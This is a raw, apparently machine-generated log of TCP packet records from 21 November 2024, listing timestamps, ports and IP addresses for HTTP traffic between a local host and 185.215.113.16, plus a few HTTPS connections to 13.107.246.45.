Nov 21, 2024 14:26:33.370029926 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.370152950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.370191097 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.371125937 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.371232033 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.371283054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.372194052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.372241020 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.372312069 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.372662067 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.373256922 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.373310089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.373353004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.373455048 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:33.373476982 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.373975039 CET	49735	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:33.373980045 CET	443	49735	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.374392986 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.374434948 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.374481916 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.375390053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.375435114 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.375468016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.376482964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.376601934 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.376643896 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.377542973 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.377598047 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.377603054 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.378631115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.378650904 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.378683090 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.378854036 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.493606091 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.493684053 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.493750095 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.493868113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.494005919 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.494963884 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.495117903 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.495135069 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.495182037 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.496045113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.496098042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.496145010 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.528125048 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.528230906 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.528284073 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.528635979 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.528745890 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.529735088 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.529788971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.529809952 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.530664921 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.530808926 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.530863047 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.530905962 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.531831980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.531945944 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.531990051 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.532874107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.532938004 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.533035994 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.533929110 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.534037113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.534077883 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.535026073 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.535131931 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.535170078 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.536071062 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.536170959 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.536205053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.537142992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.537257910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.537332058 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.538229942 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.538362980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.538413048 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.539269924 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.539361000 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.539398909 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.540354967 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.540451050 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.540494919 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.541409969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.541506052 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.541544914 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.542547941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.542659998 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.542696953 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.543555021 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.543775082 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.543827057 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.544644117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.544771910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.544811010 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.545697927 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.545805931 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.545846939 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.546763897 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.546859980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.546941042 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.547858953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.547971964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.548015118 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.548945904 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.549031019 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.549711943 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.549973011 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.550025940 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.551075935 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.551129103 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.551193953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.551486015 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.552129030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.552236080 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.552278042 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.553236961 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.553327084 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.553378105 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.554254055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.554371119 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.554445028 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.555321932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.555438042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.555475950 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.556391001 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.556503057 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.556564093 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.557482958 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.557578087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.557645082 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.558530092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.558654070 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.558737993 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.559623957 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.559721947 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.559803963 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.560667038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.560765982 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.560807943 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.561786890 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.561933994 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.561981916 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.562814951 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.562942982 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.562990904 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.563890934 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.563982964 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.564956903 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.565006018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.565027952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.565715075 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.565992117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.566112041 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.566147089 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.567114115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.567240953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.567281961 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.568152905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.568187952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.568227053 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.569217920 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.569334030 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.569713116 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.570302010 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.570420980 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.571412086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.571455002 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.571544886 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.572719097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.572770119 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.572798967 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.572838068 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.574002981 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.574022055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.574065924 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.574748993 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.574839115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.574891090 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.575936079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.576033115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.576093912 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.576873064 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.576965094 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.577159882 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.577739954 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.577868938 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.577908993 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.578824043 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.578931093 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.579718113 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.579921007 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.580003023 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.580174923 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.586858988 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.695017099 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.695075035 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.695144892 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.695476055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.695713997 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.695759058 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.695830107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.696787119 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.696861029 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.696902990 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.697846889 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.697889090 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.729389906 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.729506016 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.729546070 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.729907036 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.730014086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.730052948 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.730683088 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.730758905 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.730794907 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.731770992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.731955051 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.731993914 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.732841969 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.732875109 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.732925892 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.733951092 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.734101057 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.734211922 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.734936953 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.735045910 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.735111952 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.736175060 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.736251116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.736289024 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.737073898 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.737189054 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.737265110 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.738127947 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.738250971 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.738286018 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.739218950 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.739355087 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.739389896 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.740456104 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.740657091 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.740704060 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.741389036 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.741496086 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.741539001 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.742432117 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.742552042 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.742590904 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.742592096 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.743482113 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.743594885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.744585037 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.744604111 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.744707108 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.744973898 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.745085955 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:33.745096922 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.745551109 CET	49736	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:33.745554924 CET	443	49736	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:33.745722055 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.745893955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.745958090 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.746918917 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.747186899 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.747611046 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.747772932 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.747915983 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.748755932 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.748838902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.748960018 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.749339104 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.749972105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.750102997 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.750149012 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.750989914 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.751113892 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.752202988 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.752221107 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.752235889 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.752259970 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.753192902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.753302097 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.753331900 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.754195929 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.754312992 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.754348040 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.755295038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.755443096 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.756319046 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.756359100 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.756429911 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.757337093 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.757419109 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.757565975 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.757622004 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.758466959 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.758580923 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.758657932 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.759510994 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.759644032 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.759677887 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.760581970 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.760706902 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.760746002 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.761662960 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.761826038 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.761871099 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.762725115 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.762839079 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.762857914 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.762883902 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.763820887 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.763930082 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.764868021 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.764915943 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.764992952 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.765528917 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.765933990 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.766047955 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.766083956 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.767039061 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.767272949 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.767326117 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.768138885 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.768309116 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.768343925 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.769145012 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.769197941 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.769268036 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.770205975 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.770337105 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.770375013 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.771281958 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.771400928 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.771440029 CET	49734	80	192.168.2.5	185.215.113.16
Nov 21, 2024 14:26:33.772386074 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.772475958 CET	80	49734	185.215.113.16	192.168.2.5
Nov 21, 2024 14:26:33.772531986 CET	49734	80	192.168.2.5	185.215.113.16
